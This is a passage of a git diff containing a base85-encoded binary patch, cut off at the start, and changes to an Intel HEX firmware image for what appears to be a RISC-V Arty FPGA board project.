zMs-k6p@Xp)l+`;Ke}T%QZbo@f&Dg_O0kWc(@jEDz`x*H`u{(h=64U^i$T%02g(fkk
zfWm1i<1EmUu9=M2Kn=-RjOw6Bn9ax!YQ)TC6ar<-MU1OJ>2)dN9#Fq!8Dk8{+U1PS
zpuDq!aRDfgZ(!5}rI?M3o*?ILVoV0LS~fFEf`;2b#h6AJ$l*F3prv^rz6dkOM6s8k
z@Dx7?ZOTCFCul{%1}V5%Z!%?pW*{CgZE(R~jDyAm*y?wHf^!mMpE?5r+Z0AwP&vMt
zQ43_}Zbn;B!aKmo3QA8$8UF@C6EK%CC`pJ4f=XS<380c$x)c<-ij3u;>OUD&uByv`
zNZmc4gk*RO)LJz@2&&L6JwOS}b~dO8w)X{*E<GU2JnKPv{mMbX5o`_1DnhoPDpPD0
zD8i(|zzO<{C)5?3*FZLKJpkoV!Ihxc6KVk!n8M#cE)sbRYPU=L0ksSz<3Wi?Dhrf3
zEbBlG6006iL%>=J6r47nLDS42Hz*i_%0ablplH_40`=~6dO>k!m}LaDQ!@b6_tKj`
z4aygu50V!@3vz=zH>k2ujsT?x)d*0Lp;rT{S`5yBN^C<zP=p$t0wr)`bI{f_kd4Ot
zpi0Cf21Ht11i8{S8dUIkYz3L+lMafTfKpHxgnR%MEn)XTRY}rkP`IW42KhEe1yqFR
z9s;SU$OEOfnkS$n+{73GDi_)rJwe&1hw&(=B$>x30;+u%F@6AfV;N%rs32O!xE566
ztY>@!%I;ej|AQQ`lQ94ky89S|K>77B<5`e@PB6XzRU#)D4MBc9$9NYMpywHng5vB7
zV<Tt<FvwG4Ye9KW*%=&|D?yR2E(97f2g#{ug506%0&4AOD1dT;b{eQe)6)Wp=wAhO
zZq_gwfU2HNjBcPPJj%!eYc>i-fC?2+56})lkYP;rplr?80g6Tbc2KWOpd3_$3buh#
zozQMjaUmQDs=GycKv__<8x*QyMWC!C{smMANmzpFNXa}+Xngv*fcj6FZY2y1toe&U
zp|hRQ1eDMBGOYr&s`oK1098o)nS?-Q9ANqYiui*}3qXbVA*L))<#Cv)3Z(Kp(`Qfy
zzrZ96DsC?_ody}UfVCLZ5ZS|814>-`SyjUs7+Bx4R@*T!u>NJ84l0QLu}%fGB>uCu
zfJ%f0Hh+*88`-o#g=!Pq2T&$yW@`lbsg<o8<oGtW-=KDAJKIE1V(VZt2laV6*(QNX
z=Pov5kVV~Wx}dbs!?qigyL;ITL5Zl3EgDqC^t0Up$xUEW2Ic07Y)3)yJ&7$F<m$<6
zD?pib3fnG_+*CGkPz^DSZ4ao|Kb=hj)Oef0wh7eWoyqnP)JC1f2AYasoz3P0>N(6|
zy9cs;0ow<VS5~kIfGVvGY^fkW9AH}xGV?H70;n86$)*U}CIpI8K5!AouLxSW%K~qL
zqZV=a+NPjFjg@IN$bQzvlF(?CR07pcQf{CH#UM)-F;;=R`GN5_C<s0>UIpczuZ)VI
zEc$~{7F2EjXEX=JN;^|dGt>~XLQuEH{3ocSv$zH-S8U5c$<?kUgn@z8{xT>y9Ik__
z!|$L(@017%8D~9Ej(3Rxg{PYc$a0Slpw#K92+AH_CLnWsrhv**Uw%;1@>2%2*8P`*
z>Yt!npmZ2~3RL=qEC-cJp?09QMA&LjKP21^ROUrI1!dmI43HZ#7(pdX=4+5$Szkfr
zLiPrbmvT0Nyr1g~G9j-F)VI!m1IjH0*FgEKa0jTBT2u*YTNN9CO6oFxP{Jy|2+GD4
z4j_?geb9(P&0|pMQTq*)7VFM{5<|TxsB~#y+yiQZH8OI8R-uFZ$TSI5b8v#=l8YO(
zQ~)Hpicu_?fq`{3BQq$YtYMr5Y7nnwJOUb(IKs3Olvs{3DT7oVWBLPf=5eN5poZp2
zCNEHwoMO5O%F(BpmVy$}d8S?v?*daQsAYPQ=^&`|y3Qm73Yr^C(?LGF$+QEMF>f)Y
zgW}*eQz|Ix?l5tKGT2?FccAvvJtjd=uDj2)9Tag7m{dVw@t8>;l!c!#HG<01r%Z=I
zUBYKf5uliP!E_Q-YQ1FY0p+DvOg}*F#@9@eprY^%(;rZ<zGVU}31xl9^axY}yl3hJ
zwM;)SO#=nzN2W$llj0N8Pf);pW?BO(m%cFV04e#(qza1BZ%j_0!sR>D8jy2;Fy(_X
z^iQU_pcMOy=>e!T`pqN)YC!#Ax(v#7f0+b8j{nEB29!AdGo1i6s~VV>fvUJh=4wz%
zYGM`vg=aIf0S^NMYYVdpsK{((J_`!@Hs;$PKeRLd1)0*p{0|fXoy;FWC22QvIj9=w
zVV(=hw7txqz$FK>F{lUD&uj+@`3cP3prUOe^8rxxJc&6Fl$RzmZwAHf6z0vKbTF0q
zHK?kZ#(V)(pigK14)Wg&=D(mAo5{=o3glVL;h>syHuDoui8F^;ALNy}%=<ts!FkL(
zLF41|nID5fVgWM~$o7TIuR+D$BIZe;Fk8$V3L3g!!h9A~_b+9h0;)=vF)M<S)N<w%
zplrH=xd)W$Rx&RJ)j+G5BS1E+2Bky>)-}w0pxn5Yxfc{5>zE&b^74A-M3BceFwX$V
zZDhU&N=uuVH-Q?eo0&g>8i8Awi$J+xD>Dx$gKcAW1EqrP%)Fo)Z3i<GsMWZWc@fAh
zyO=+MtliBV2C8=UFo%Ka%)QJNptQ7)ITVzA_A?&^W%mQjQ$Qhqka-a(tPe4#fa32k
z^D|IL9ARDzs&I}nH-eh3$Cyups_Ns+1)%cv1hY9PkWVsi1GUypG5-gp&(qB9pw{&n
zW_M6wc9wZPC=s1w_5ul>XHEp=fD6o$piaO=<|2^)E-~kU62oQY3Q%9^3iE1E^j~Gx
z1u414{1+6P*O|RQA%BDUI;atGlQ{%bW!_@m1<H80nYVx<;107IC@tM(&IbkZJ!XDT
zJLW#KB8Ymx{1fE&hs*(>Xne%n1L`L}W<CRISv+Cp1ZB0S%#%QE`De_Dpmxr4W^<5X
zFPJ?+-h9ctALPwf%m$#Sdd=($;=N%G0OjJh%uJwE_m24*C}F;5o(_tt56sI!!TOQ8
z3lst0nGb->{K3oz^2$$UQBdOh#mo&FSoqC+A5@C|VP*gY`CsOLAea4Po(;0$Kl3+G
z%f5l-5h!vRS>i$ZnpmPi5#G%59OUX2mP}9^rj_L+NM#!fKghZ5EPWs)9V{zB!P?2P
z1C$uLSb{;xrkkZf2U@pqECIFI_`&6+0Icp~m7WZ8kNh@}0~En>N-#M#B}Gu1QQcY^
zYJ$EZs3>qg2ikiD%D_y0pmK)y7O3<V{c8wS73dE#G3XyC;)A0=Q5BL4D(b=>fO1&4
zEXZ{cTA=J1nF-1?QD;E~Q}j$w2*%ifD%IF`pn@cB5-736r-Mq%<ZGZVe%et`fTnkX
z;-Sa{#4dIL)omq#pxje-5tP@fZ-GLzk+B@)h<3(vAUk^*9Y8r^BBKc?56oj!1{Ku{
z7<E8()k4M$P_ACY2wJnnx`gpJC}l5YR0L(qWsIpH53XZ00)@j%mSRvv@tP$Zlo9(_
zi$UpiHS1Q8lJl&ppvbzwdH|GVFR~hfs7tKupnkwL*0mtsb=LEsX4VZ>BXA;S{Rc|*
zcUWJ5h7Inr-UqqtKdT0)`fp&{3~Ir(vAqNNp^q&Qv?vM`-n`)W;adSp;_%iBE61`R
z1_m}>V^GZ@Fa=gSTEu|Nuwe(4T(-MGRiZr)C~Td(K&A5vMkP*YbgA)yB30u$C_QQ^
zf*h=)4eAEyMuNss^rAq%)b9sHpg}aK+%!513O18YQ1Umm2905uv4Nt|Vm_$BXjug^
z-f98Jxz;~HMSx8OC@5|1K^fWZ0I0CEKkf~+oAU&y{1IRWsqSLj4->YTQ^ml*X8#G)
zl6H_+VqjqNZ~}$7r`0qD1~xBUkZ-(;IT#q&{GNbPO3*1*1_ripXONoc*`Uyf)dQ)C
zyA2v^On(Gwt7Lr8U|?X&%mED_WNCs{`{ibX*o6*r85r0~IYBMOvMeqJ2Db7epo~+I
zV#C0|R(%-6u2~DRtAWuS)Fo+TYy}NuHZe{GwP~9f4gEnqV8;8P+OD0E!IXi4t((ye
zq_T%mO`L&&t(S2MNM#?R>=e)-C*x!gZxUlrI|BpTbjAZ9$IW2eZp^^IHj|MbR9?+u
zER|$nV4KUx2jb0RJd_CyE*2wD-Nx<(N{t+~pmfgb1d4Tj1yGU_*bS=Z1)V`PkeCxF
z??}9FWnf^HECuBtDJ@Xql|BS&1<Lq=TGz7IK!ufj7N{OlC<PT`s`8+UU;PRw>@>na
zx-?BdMT*ux(CEDORZy{{lLl%j>V5<{%}5KBqD=mPl7(q6sPZuD2NjOy4?%T?#WPS&
zw>%4~)vca_vWE>js4BAE1WIsr$3d}ce-b3_;0m(EQ4dsRJJo|~H0MH)IW9FIdtLcK
zHo7^0V%l93)B*9R1BrNo8qKU;CqSJL?^B?%&1V5<w9eNHl$3)$f&3dX2jr?yTTl`V
zlLM8R;fq0KdPEo~lp_Cwd=bS6%E8fdKrOwPt)OU(y$32}<D@_)$8Q9cHVKD7p_C{I
z5>I*zDom19LA6~<8mI=$6a)<sWt{;f<Lqysl$6U4%H4UhK*e)@0m#iI(?RXp(o>+Y
zEz1DKV08qjOlx4g15(t)cneelH#0r~3AQkbfEre<jNd>F?>5FOpvthF(Et=Q9gOav
zB-6>r2`U}B7`s80XgA|xP?M;a(E?PiPG<ZJ3f3u%7NGE+$~Yg?|C!Es2GrJ@!RQMr
z5@s^8gG%jLj1NIMel{a$#W3p}#uK1Y5abQn1r`hpY$;(Nb5i%VFfg#CEdnL7bb(0>
z3~X7UAo1+R5(Wmgyt$w(l7ASK)e5*ko-FL0&A`A`G6y7H>ZHoRz*g}H)Ca26>ttYH
ztJ(=F<Eq_K7#P^<9)iT{t7;h-*qRvqKoxm2BWS4%TMOeukTY8u3qc*U4n|*)Tqk3>
zGXn!#4<j?kDZPx-r5G64`WQduF)*<9Gfo7_O<-gK$xUPgE#PIF#0Xl_#X6ahQxiP$
zv>fE5sf@*-v8!o}he0tro$*Ko0|VO(#$BMs@=Qi)TLuQUS&TxU#=&gH_GktMwmFPD
zL2`2$4}#n|kI@xWR?lbrt;oQ@wtz7Zlq(i8?ki+qU|YoK0+L(IsFTjXz_yf88B~NW
zW4tNDz`(YgF&dP5RxsAjWME)h$*2U9Tg9lW#lXO}ny~_u^VTpHg9@XyjHf{Mtz-Nb
zz`($^p0OMxw}BC~qK|DOV=gGiZ(?L!z`($^nb8B(&)dS-Qpdo+wv{mlB)5%GA5?U0
zXEXs-Ejt+bK!w^)#*?5_xQo#lq;EH)F-UF?BcmMy1KWPaouE8%fUyMR&V!7SpkCb}
z#sq!_2DYP&J3w;B7#D)lz)8kSpfctZWB7aq2Da0TGe9-&8OCdg3=C{%883q5&M~Tk
zY`Daj2`XbQGrIGFrh6ERK}q*2<7$v^uQMJ8)!H{0BSE&`WV{Wk|8Fs>r7|$E-C-;N
zm1}nyb$uBa*zPm#043`OjLWqd7}y>%eg$QYM~tc<w>)7~0F~cQ8D&Gj6Nwz4eD|Eu
zznp=A?LFgaP`~&CqYfzbePmPvl~A7;Ur%IUVEfGY6O_llFx~;pe|=?C1r^8N7$vh9
z7}&lut^(=%!FV!`fr0HOqbf+>FUBGv1_rj@j6Xp7{xCjpVqjqV%cug<_m8m}RH*-F
zd<B{fYhVfmO=>nWy#(=^nDT_71vl3oP!#ftfQmxCrJ#{y;apH>SN;PiLHf)D&7}lM
zf!c==BA~JU*mh8xq&6Nj-rLI92WpSEF|G&Io$ZVZK)JYsF$2_2>11328m;PL^a2%^
z-Hf83knCmb1r_FfjJ6=x_cQi^y5|!Z*MLf@iHyo1xk-$FK_$Z!#<`#Zd@AE^P<cI#
zF&{MPG@UUX<iJ^slAr>5Hlq@#q@2UJ8RV|Hj4q&5yMXZ}s9;{mcpp?pEM^34B4Ay@
zcpK!srHoRbhTJknT~H0Qim?t<WvyrA1hvDqGV*}3>R!f7P;>q$qg5L?e3-;E7#I)>
zD0yIO<aj|t&<rfh+<dUrll-vNlL8Pa2+7PX2wOeL%fiemgt>4Mtd3cLiQP{dv>HxG
z7`m{Kmyd;+kBL1-2PDeR0#POb>idBNq(vZWD4E%r!7?lm1rU;1NfaUoA(@56pi49L
znIH;Sm_@|lOZp@rsvsmYizI9bA{SVMnTG>H>#>4q7G^^!*m_K9hzNvaHj;s@$CQPy
z$7F-b3CO|LW3t26V}cf`LR|w^#C)Go9=0A+0W1QQWq!b@h**!w2Mqy;3KnKoZZL~k
z5Gu|rq6A%B$t<CaSR1K=SR2U+ThFP={!$0D%n_zjSPg6x3;Taim_yji9O@7TWCh{q
zOgMBV96ZcOqxA;F4|cL5O~ixO=CYy<pRyv2e6o@}>dC{v!0`Y7|NqPkj5UnBObj4C
zDA|J6>I*S2Fu;z`1Fic9t<84gD@f~NZ)9v`YGZC^>0s?->*na;?B(j??&q1nJCSb^
z{~Uq2g7bvt3o||8I^lHC>8R5&r{hj1olZHOb~@v9*6Eznd8Z3b7o9FS-Eq3>bkFI&
z6CZ;MH-ieuQU(SF(7poDx_l=-1Gh%T4yI0K<}Aj8PA8mBI`M&&fF{pCG-%%eXnngA
z-v-8@$*d5ilUSy(O=X|PF`bjyfeE7NlGA0UD^6FPt~p%?8vxS}+OH79$iU#lmk`&<
z4AM586J*FVj)F-nlUbSOaADK$#0^^W1F|2q&p`#O-ys6zN`%!jxMp(C;%Q`@%*xb+
z#gH3LH=S-d@i91YGl0gwL1uyWO7O6N++q+0aziIG*a=18@H^=Q@&YJ~ywLbe9Z1H5
z3}n_}LQ|4~!gu0kV1W4_v@b&iY^OsI$o-R9L18eBqmgkE%XCiWB4#AB5#i^=4cadN
zax-W@hXC0B0?>G30H+=FwB!TYCkj4v4I&TXgZ6NMcDjPn8i)_t%K<vN3dRTR=>RP~
zg7HCnJ3#w2WEdD2K<Yz4hj4)o3*r;-YGjPzItU3)a2f*1gZ6%a{OQCe;0E#=L=7Yf
zfx-Zk)<Eh&dqY6Ge-Y~9K)!YXB{h&bkp1ZX0oApj{Uo3>RY2i@fh8b&O_)KOHW(Nf
z3gCRu4h#kci6EFfbd$#oh6a!s%%IW+q#n*^1qm}W!1<sMVPI&u4O0&;vl$v5!}y>O
z1#1Bl%nYCb1~3y$Ff)Lr?!Zhi!OXx7reOp#IQC#X&|V5&1cw2{2WLOH7&8MuoDE_y
zGYEhvIA&%LgtI{mW(H7c0%AchGlMV#XzvGv2U@lF@jvJY24p_SM>B3PG=MhmGBU7%
zZ9H&;p#gLx4~P$%`Z;lvp+S)Wbl4FagEHuVuA2-Epr8lIgJ%2~ZZI@}T*k=20vhrI
zhbJg4f#i)D7#Lb^Ff_pU<_ruBC2&3~gEh=C;AYat|DY||6-e@+ee^ITEDRt2qx0dr
zexdq7lMBe|;X8Yw^6+!jq5Q2#0Rl2V52hI^U&g?|aKXSq0W{{s#K6P=I;&R5&_MyT
zixI>J?M#Mg0qLIw<3RN<M&qwR<8MRbBkvCanFl)X3Z?|a2Q8XH=HG*Hp!U54x!2S|
zVFCD1HYNr}H2-lkGBDJbJ1Bt46_EQuXN$m$0GY3crrrXL4;qX?R_}`@4>~UaSw0bT
zLdPwJh8}48DMVA>h{gx)zjCs2PylVq2e}V)d>FEMpd+@B`Sa2Aqw_(#_mS0uwjLw%
z(d9wg{4cmTD1h<<$o|`C=08T`zeeMKM&tiR<Fi1DD6kVi;mwW42OTj0mW0NqESkI;
z8ebocZ;8eS?FU0P4?TQ9`^1ptgVFS(t4Gg&v1sbi<x|n*L3@&s?JH+uU=X;$&;ZJ(
zpz;GI2ckjY)69e@-$94Rfc8Se%6kxhIhy<qG(M<3g{=NQn*3KL28Kg^4ho=SFN7GF
z7`Q=I#tuk%FTn8eKj?g-S$>f80FnnCvXo}xpa3dqL40jy28L5U4ho<d2oN9C+nHkE
zpa7~HL444`N(B#K=CLxkF*7h+@^DZvV_;wa$%FPH{(+`<5Fd1Ql7^>)0%#8;h!5H?
zxy{N!0W=>0;^#6mFmU;SP63AKuLT`wXyBj#I$RPY-^$FuP-5z!0NQvB;!j{^U?}i&
zPyp4XApT5d28Jon@>P(5jbT2>zo1Hh0d!W^$Ny_U>Y??a00S$-9%crH3_}NnMNAO;
z4ly$@co;Y+fYu6w%sa`<z_7*&bW%J-{t7b#!yP*Z1<>|&ko-et2Jqb;pmq?5|B9J`
z0oE=A@xL%LFu>ZGAU>#y&a(lXqzW-Ff`x%$h6U(ASqL9Ajt*<vfYkG`FfhQ{i6Fid
zsG?zjh4;t*@+=GtJr)iMpmqjGUY&)3LCXUXpZY8e4FB8_@n_D$zyND2g48>M%zFVd
zkAuONg@NIkpMwHuf2R-=6GJ!)0|Trr1yUamQje5=a#$D`3gF?*%23b3z`*0@pa5#~
zgVcAiFfhE*cTfOr!w2!_urM%GK-(Vz4D1ZcSQr@WbQ}~w=>TLOXd?!!Z3a@mjfH^$
z*0uxj_pmT9<Ve8M2P4BF76yiOCJqXqHYG^@6bl0btlt6RUt(ck*rJa}k55<_7>=1Z
zD1cUKf#lz?FfhRSB_RG!7DWF6#ODAtp*Fz6=i~pqYzz#SkiuJ>m4N})mIJw85u_fT
zzCQlfV`X4?6X&1+n*R}GU}msqWnlPX>!1KSgac&07b^q94;M)N3*v{eGBCXJbx;5;
zgaYwnSQ!|~Y#bC8LGx1zD+5CZJiOT$idh*L>MR`;jzHyGSQ+5$IZ*ftfZPLZKMFB0
zGIX#qFu>ZvAoHcz85oXOI4FQxW*~k)D+9wNr1UbKm4SiF(m?@q+#X1NH7f%{mx+S{
zsQnA#ZwC3t3z6RTfc#_Ppa9w`0Fpn<%E0i-(?J1zTnGab!+BN)hBRvj1<+A^Ao;7T
zsOjM$D+5E2hl7Fv)ITp-85lT_%7gE$3=Ang4hm^dc}6w{2A+6C_zJQyFcg?0@`Dr`
z1Gv2gDsKfC*cjB<7#La%96(FTz~z%J8v_HZ9|CfZ5x9vAX<viNM+-Iv1`bcqNyw1=
z>Bz>wAYtpE0NPUxQt!>iz~G0J{({i-hqEy-<RPV3PId+c<nl9?je&v7#6bbnE(DpE
z%ErL(BE~@h)czD?VrIx;WnfsLkMK`E8w0~V3q*ddU}Inia&%At9kK$_U(CY5Py<gN
ztPJgJ3=A^f4hkNO5cf}FLoL5*LG>3ry|OSYU}IqT=Hs9MYIlOnTMP0JlKdVv1_oH4
z2PA(OC45;K(piwx9|yxJHU@?V@v!h@VYtG^z|iF3pa7~zLHa>MSfKg~R=?b3V_>jy
zbx@cAEstNZF)*;$K-x<n_21bT7<7>08#L;M9DaiA3=A(~9TY(ALQsB_WM^Q2_2oeN
z<=Gh+#DZYu2NQ!TI|D<2FCsk}u`@7KAk}}C><kQXP7Vr1Q1@(PVPKeJfk^Mp><kPO
z;Ni{25YEoPFi#&*UqrJrFz|UI@^cb9149pz`cigO|2DESFo4b}02Q+!_rmVb23^FK
zTEvi%SzMA|RH<jckeOFdT9T8QmkPQLQ_qB<K+lvRwK!SNn4v(=h#^DIkO6YD8R#xJ
z*mZ7t1`Lp^z(5zLB_<W?B{QUD=4I+7Gi2svmgprj6c*<ff#~A$#DcWaykv&l)D&Yq
z@TH{%MfnAK1`NgEE8Wxdl0nuc7gRzRIjNv~zKctW^58;waIvD~j3S7#lKgBqBOWeR
znv(-^B<#}P_#9LVONvVJOOaKeE2u2a1Yep5GP<%Dbn_g91-h^f!UA8ur<cqCra|_C
zE+b8?0DCz;JtsdYF(*E;1S9~u!3%Vi7?cYMpp>)%kU1qO3~A+wIUq0OCg$YiC+j6M
z<R#|i>q2-SbHUuQG<X=H@Z&)N9UotuR!~}!9ACr$aw$j?$ekb>bOj%nE=kGE2U`dY
zx$>k^P=J>gr<Rn0T#}rVUz`e3nU<DQTAZPm%#Z`RSPvwUo0y#nQJtHb3kmn!ocv^v
zo545qfz&`k3&e^Cd08)+AsKXOUOXrn<Q9|`rNSBUDTyVC4Ds=xL=vA^RFqf=y}J-e
zptvNlsDvRt9+ZMm)D#q@Vu&FL!1SRigNi~zG`_SLbj5Hy=z_%fB8K9Ocu+1d0$s-o
zvJ&DCkVHvQazP~n<a)t)(6wyPI4#J}%qvMPQelXXF9wAWhz2<UM1ukqthP8UH@_$~
zJ*PC4AwC{vaULkp7;;l{bMwnU;^4%Y4N?yd#`q$J)S{w1&?Sb&C5g$|U?+lZHFj|f
zag29zb@%j(kB8(YkRf2#f$qD`D=h$-Q4C8W@kI=v*av50aH5GX$Sq)ius|0o7BfH`
z1iN1`w>TYs`)5i?W-cfbf^r8#JSg#ij0PDOU&MfNO(;0~LoS_!T}KxW2|QSs8baa~
z8f=;1R1gok{}FWSBPgkZjE>LAOiD(IXNLIrq~c<T&iK-l%(9eBV}^K8s)jg+0jw6}
zL{M44kemxCQsN=zAd(PB1t_I6loTZvz`X|vgye$K_{==erJIn*H-trgd`@vj5y(P#
zs(^T~I4wRcF*`LLa#JWMqKgYkONznn2j@Hx6OuO=;?s&!Q$aFNe?y7@(3OCRIXU3G
zQBahhT+9$(TmVg65buGs#22NeXBL;F7Qxklya6iypto~E(q&10HpmT-tP9pxoL0aP
zAMX?#9PjGq5+4te1;rU6?SWHXJS1yFb-=xpnFq236yu<q3qhd|$uPO8xy7j^;JN~I
z;b(CM$XIYO!2nCrMIfEYxdjZFpmYPy(y+oD<YU++h~Od;WGy)S)8do!b93|aK*oW~
z8jwtJSz0Dk7L?bD%QF&7l1kG+Qt>G1A9m?!Dx??zk?}dXpaP{BYz;#^ib>$YHNGe{
zH4jvtAVp+;X$eCy)JleUNMQxNj}#pGAlE?)K1itNq~<ZiL!Fq32w89*fdp7$QZYC@
zGC)3n<S|HU$jK}&0l5pRy9gSa3=De3mARm6BK1H;L1GevUU3GD1ujzbN>VFI81#zr
zLEdE0gOJ4#Dyg`bK@VI|FzA6YBZFR1W^r<vUSdf}QD#zUNop~J9w?weKG#c0O)5=~
z2NwxYHaG)7*@;O>MX6;BFkVq&UOGrOL{o7|5lkj0KN-eERg;^TT$B%!N-Ijt1?`dm
zwT=m6&>BL}a1W?S$N=h7a4^8<A3(aH-E0QPSSkYpNFAtcSHQu*u)-3g0)k=c)WKtB
zpivIUn6`uy1H%cVA!C?2&>5&8dqG`!&{!<!+B?|12gpR2I#Z~5Aa$TVX+Z?2&ks@o
z!7z28u?r9zqz*JT-VnjS09u&=QN_Rjk^`|F86a%1y4ws5Aa!s_@OT196$1lkJ_n=+
ztnM*H9e6+(A`RC9x_$sO`~VeZ0GX!^<3QaG;zGuX7#Ki(AP|3b1gPx}VnHw{EI=5v
zrVK<wL>U<NMldjlJHU9L@oWgY6v=Fm$dwrk42+-w8W0Cbt`Uh1lDc}1fguoS3IJwT
zKbks?8;}zuL3%(K6c!*F)W-wqf%&82CIf>4=#+JkB-9L${7NVrD$FpWo{=F2G~fdj
z0I2~nx1g!}vXqg*0o1<*Ng~OC#+G1uKvE{F85taOK`aP{$(={i1ClAZ!N_0(ibN0x
zJU$6wfYgJ!Ne~_b!-m_844@9PC<6lns2>VytApkTKtYA1o#DbuMurZ^6bo1@$Q%#@
TG^>HEF5)92<cuzmB$Ar|>#?c>

diff --git a/ArtyImplementation/zone2/zone2.hex b/ArtyImplementation/zone2/zone2.hex
index ebfaaf8..bb40ce7 100644
--- a/ArtyImplementation/zone2/zone2.hex
+++ b/ArtyImplementation/zone2/zone2.hex
@@ -1,1162 +1,735 @@
 :0200000420409A
-:1018000097D1C05F93810187138101311745000093
-:101810001305457D97C5C05F9385C5FE138601817D
+:1018000097D1C05F938101861381011817350000BD
+:10181000130545D197C5C05F9385C5FE13868181A9
 :1018200063FAC5008322050023A055001105910528
-:10183000E3EAC5FE13850181938581B06377B50026
+:10183000E3EAC5FE13858181938501986377B5003E
 :10184000232005001105E36DB5FE171500001305F3
-:10185000A576EF106075EF104079970000004111F8
+:10185000A5B4EF009033EF0050379700000041111E
 :1018600006C4014581451D2821A001A082808280F7
-:10187000411122C406C697270000938787102A8447
-:1018800081C78145EF20A00F17C5C05F032585FEE6
-:101890001C5591C382972285EF30F017411106C67F
-:1018A00022C426C2970700009387A7117390573070
-:1018B000856793878780F3A74730F3670430B707BE
-:1018C000000C0947D8C73727000C1C430146814547
-:1018D00093E787001CC3174500001305E517EF10B9
-:1018E000F07B174500001305A517EF10A07A1745E8
-:1018F000000013056517EF10E07917450000130588
-:10190000251BEF102079174500001305E51EEF1089
-:1019100060781745000013052515EF10A0771745CF
-:1019200000001305E521EF10E076174500001305D0
-:10193000A525EF1020761745000013056529EF1047
-:101940006075174500001305252DEF10A07417458D
-:1019500000001305E530EF10E07317450000130594
-:10196000A510EF10207315261D469745000093859E
-:10197000A5330545EF10F075974400009384C432F9
-:1019800013848182EF00505711C9EF0030161D46B5
-:10199000A6850545EF10F073238C0194EF00D0026B
-:1019A0005C50EDF3054573003000E9BF08419C41F0
-:1019B0006345F50033A5A70082807D55828059716B
-:1019C000AACA86D696D49AD29ED0A2CEA6CCAEC8AB
-:1019D000B2C6B6C4BAC2BEC042DE46DC4ADA72D86B
-:1019E00076D67AD47ED21545AA852145730030007B
-:1019F000AA841145AA852145730030002A8419451F
-:101A0000AA85214573003000AD47AA8663EC970094
-:101A100017460000130686B21397240032971C4322
-:101A2000B2978287B7070080138777006382E41A32
-:101A30001387B7006385E4208D076385F41222863F
-:101A4000A68517450000130565AB39A022868145A0
-:101A5000173500001305857CEF10C06317450000A3
-:101A6000130505ACEF100063230C010005462C089C
-:101A70000145EF1030657DD96FF09FD8B1A0228667
-:101A80008545173500001305257DF9B72286894560
-:101A9000173500001305857FC1B722868D45174590
-:101AA00000001305A5814DBF228691451745000012
-:101AB00013050583EF10005E83470400858B91E3D7
-:101AC00089442694731014347644B650A6521653A3
-:101AD0008653E6445645C6453646A64616478647CB
-:101AE0007258E2585259425EB25E225F925F65615F
-:101AF0007300203022869545174500001305858127
-:101B0000EF10405911047DBF22869945174500000A
-:101B100013050583EF100058834704001145858B9A
-:101B200091E3094522957310153479BF22869D45AE
-:101B30001745000013054584F1BF2286A1451745CE
-:101B400000001305258609BF2286A545174500001C
-:101B50001305C58811B72286AD451745000013054A
-:101B6000658BDDBD2AC61946974500009385058E15
-:101B70000545EF101056B2462286A685174500008F
-:101B80001305458DEF100051370404102C44174500
-:101B900000001305E58DEF10E04F6C441745000081
-:101BA0001305458EEF10004F2C4817450000130514
-:101BB000A58EEF10204E1946974500009385058F9E
-:101BC0000545EF101051C167938717101CD8EDBD64
-:101BD0002AC6194697450000938545870545EF10AD
-:101BE000504FB2462286A685174500001305858C06
-:101BF000EF10404A1946974500009385E58E05454C
-:101C0000EF10304D13858195EF1010072A869385CC
-:101C100081950545EF10F04B1946974500009385D7
-:101C2000658D0545EF10F04AFD57BE853E86194586
-:101C30007300300093070008F3B7473071B5B7075A
-:101C4000200C21462C08014503A94700EF109047BE
-:101C50002A846357A00293848182DC501307000218
-:101C6000B307F7406345F500C05033048740C850C0
-:101C700022862C082695EF10203DC8502295C8D00A
-:101C8000B707200C23A2270181B5797106D622D48B
-:101C900026D2F3241030054793D7E4011304000241
-:101CA0006388E7000947130400046383E7000144E5
-:101CB0005D468145280002C2EF10C03C01478147C4
-:101CC0006946B3D6F400858A91CE0C1093061700AE
-:101CD0002E97938517042302B7FE18103697230218
-:101CE00007FE36878507E39EC7FC54002286A6853B
-:101CF0001745000013058587EF10C039732410F1D4
-:101D0000B727E3109387379117460000130646FA6A
-:101D10006302F40293079048630EF4009307C057E0
-:101D2000174600001306C6F96306F40017460000C4
-:101D3000130606FAA2851745000013056585EF1006
-:101D40006035F32520F1930790486319F402B71723
-:101D500010409387571017460000130666F76399E3
-:101D6000F404B707008089076380F5048547639111
-:101D7000F50417460000130666F61DA89307C05722
-:101D8000174600001306C6F46314F402B717104098
-:101D900093875710639EF4008547639BF5001746B1
-:101DA0000000130626F329A017460000130686F349
-:101DB000173500001305857FEF10C02DF32530F196
-:101DC0001745000013054580EF10C02CF32540F1A6
-:101DD0001745000013050581EF10C02B9305000483
-:101DE0001745000013058581EF10C02AC14517452E
-:101DF000000013056582EF10E029B250225492547E
-:101E00004561828071714ECF06D722D526D34AD143
-:101E100052CD56CB5AC95EC78147B9483548930958
-:101E200041051303C002C685214573003000AA8610
-:101E3000C2852145730030002A86014573003000B9
-:101E4000C6852145730030002A87C285214573006D
-:101E500030002C10BE95118D158F3386F90088C186
-:101E600018C29107E39167FC3C1001469843635305
-:101E7000E6003A869107E39BF9FE973500009385CB
-:101E8000657B2808EF1060582808EF10E05EAA84F0
-:101E9000014413090004973A0000938AEA79130A6F
-:101EA000C0023C10A2979843338689001042334801
-:101EB0002703A687A686A68556851104EF10801DE8
-:101EC000E31144FF281097060000938666AE114682
-:101ED000AD45EF10602997060000938666AD114668
-:101EE000AD454E85EF104028173500001305C57627
-:101EF000EF10401AF6562656D64517350000130542
-:101F00006578EF1020192254F254C649A28526861E
-:101F1000CE86173500001305E578EF10A017B3C67D
-:101F20002903173500001305E57933C62403B345AB
-:101F30002403EF102016D547BE85214573003000DD
-:101F40002A8BBE85214573003000D947AA8BBE85F8
-:101F50002145730030002A84BE852145730030007E
-:101F6000AA846145AA85214573003000AA8A654587
-:101F7000AA852145730030002A866945AA85214536
-:101F800073003000AA896D45AA8521457300300091
-:101F90002A8A63820A0C174500001305658A32C637
-:101FA000EF10400F1735000013050574EF10800E79
-:101FB000173500001305456AEF10C00D3246D6856F
-:101FC0001735000013054573EF10C00C5286CE85FF
-:101FD0001735000013050574EF10C00B13566A0087
-:101FE00093D569001735000013058574EF10800A3A
-:101FF000174500001305C584EF10C0091735000010
-:1020000013050575EF100009416917350000130528
-:10201000A564EF1020087D1913D60B01B3752B01B1
-:10202000173500001305C573EF10C0063374240183
-:1020300013D60401A2851735000013052574EF108F
-:10204000600513D66401935564001735000013052D
-:10205000A574EF102004BA502A549A540A59FA4928
-:102060006A4ADA4A4A4BBA4B4D6182801D71F327A6
